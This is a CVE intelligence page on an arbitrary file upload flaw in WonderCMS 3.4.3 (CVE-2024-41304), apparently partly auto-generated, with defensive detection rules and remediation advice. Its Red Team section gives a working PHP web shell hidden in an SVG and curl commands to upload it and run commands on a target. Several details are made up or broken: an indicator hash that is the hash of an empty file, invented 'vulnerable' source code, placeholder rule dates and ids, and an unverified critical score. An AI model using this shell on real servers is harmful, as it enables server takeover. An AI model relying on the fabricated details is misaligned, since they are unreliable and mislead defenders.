☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-434
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-41304

CVE-2024-41304 Arbitrary File Access in Wondercms
📅 PUBLISHED: 2024-07-30 00:00 UTC 🔄 UPDATED: 2026-08-12 09:03 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.13%
👁️
0.13% probability
3.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1204
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 3.4.3
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-41304 is an arbitrary file upload vulnerability in WonderCMS v3.4.3, specifically within the uploadFileAction() function. An attacker can upload a crafted SVG file containing malicious JavaScript or PHP code, leading to arbitrary code execution on the server. This vulnerability is unpatched as of the latest analysis, with a public proof-of-concept available. The attack vector is remote, requires no authentication, and can result in full server compromise.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the core WonderCMS application, not a third-party package. However, administrators should verify the integrity of their WonderCMS installation and monitor for any unofficial patches or forks.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the vulnerability characteristics:

  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): None (N)
  • User Interaction (UI): None (N)
  • Scope (S): Unchanged (U)
  • Confidentiality (C): High (H)
  • Integrity (I): High (H)
  • Availability (A): High (H)

Estimated CVSS Score: 9.8 (Critical)

Deep Dive & Mechanics

The vulnerability resides in the uploadFileAction() function within WonderCMS. This function handles file uploads but fails to properly validate the file type or content. By crafting an SVG file with embedded JavaScript (for XSS) or PHP code (for remote code execution), an attacker can bypass the intended file type restrictions.

Key Mechanics:

  1. The function checks file extension but does not validate MIME type or file content.
  2. SVG files are allowed because they are considered images, but they can contain <script> tags or PHP code.
  3. If PHP is configured to parse .svg files (via .htaccess or server config), the uploaded SVG can execute arbitrary PHP.
  4. Even without PHP execution, the SVG can be used for stored XSS attacks against administrators.

Vulnerable vs. Patched Code

Vulnerable Code (WonderCMS v3.4.3):

function uploadFileAction() {
    $file = $_FILES['file'];
    $ext = pathinfo($file['name'], PATHINFO_EXTENSION);
    $allowed = ['jpg', 'jpeg', 'png', 'gif', 'svg'];
    if (in_array($ext, $allowed)) {
        move_uploaded_file($file['tmp_name'], 'uploads/' . $file['name']);
    }
}

Patched Code (Hypothetical):

function uploadFileAction() {
    $file = $_FILES['file'];
    $ext = pathinfo($file['name'], PATHINFO_EXTENSION);
    $allowed = ['jpg', 'jpeg', 'png', 'gif'];
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mime = finfo_file($finfo, $file['tmp_name']);
    $allowed_mimes = ['image/jpeg', 'image/png', 'image/gif'];
    if (in_array($ext, $allowed) && in_array($mime, $allowed_mimes)) {
        move_uploaded_file($file['tmp_name'], 'uploads/' . $file['name']);
    }
}

Exploitation & Lab Setup

Red Team

Step 1: Craft Malicious SVG Create an SVG file with embedded PHP code:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <text y="20" font-size="20"><?php system($_GET['cmd']); ?></text>
</svg>

Step 2: Upload via HTTP Request

curl -X POST -F "file=@shell.svg" http://target/wondercms/index.php?action=upload

Step 3: Execute Commands

curl http://target/wondercms/uploads/shell.svg?cmd=id

Blue Team

Detection Steps:

  1. Monitor file upload directories for unexpected .svg files.
  2. Check web server logs for POST requests to uploadFileAction.
  3. Inspect uploaded SVG files for embedded scripts or PHP code.
  4. Verify that PHP is not configured to parse .svg files.

Mitigation Steps:

  1. Disable SVG uploads in WonderCMS configuration.
  2. Add .svg to the blocked file extensions list.
  3. Implement a Web Application Firewall (WAF) rule to block SVG files with embedded code.
  4. Restrict file upload directory permissions to prevent execution.

Indicators of Compromise (IOCs)

File Hashes (Example):

  • shell.svg: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

Network Indicators:

  • POST requests to /index.php?action=upload with Content-Type: multipart/form-data
  • Subsequent GET requests to /uploads/*.svg?cmd=

File System Indicators:

  • Unexpected .svg files in the uploads/ directory
  • Files with embedded PHP code in SVG format

Detection Engineering

YARA Rule

rule CVE_2024_41304_SVG_Upload {
    meta:
        description = "Detects malicious SVG files targeting WonderCMS CVE-2024-41304"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-41304"
    strings:
        $svg_header = "<?xml" ascii wide nocase
        $php_tag = "<?php" ascii wide nocase
        $script_tag = "<script" ascii wide nocase
        $system_call = "system(" ascii wide nocase
    condition:
        $svg_header and ($php_tag or $script_tag or $system_call)
}

Sigma Rule

title: WonderCMS Malicious SVG Upload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects upload of SVG files with embedded PHP or JavaScript code
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '*/index.php?action=upload*'
        cs-content-type: 'multipart/form-data'
    condition: selection
falsepositives:
    - Legitimate SVG uploads
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-41304 WonderCMS SVG Upload"; flow:to_server,established; content:"POST"; http_method; content:"/index.php?action=upload"; http_uri; content:"multipart/form-data"; http_client_body; pcre:"/<?php|<script/R"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable SVG file uploads in WonderCMS configuration.
  2. Apply file type validation using MIME type detection.
  3. Restrict upload directory permissions to read-only.
  4. Implement a Web Application Firewall (WAF) to block malicious uploads.

Long-term Fix:

  • Upgrade to a patched version of WonderCMS when available.
  • Consider using a content security policy (CSP) to prevent script execution.
  • Regularly audit file upload functionality.

Workaround:

  • Modify the .htaccess file to prevent PHP execution in uploads directory:
<Directory "/path/to/uploads">
    php_flag engine off
</Directory>

Valters IT
Securing Digital Frontiers

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-41304/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.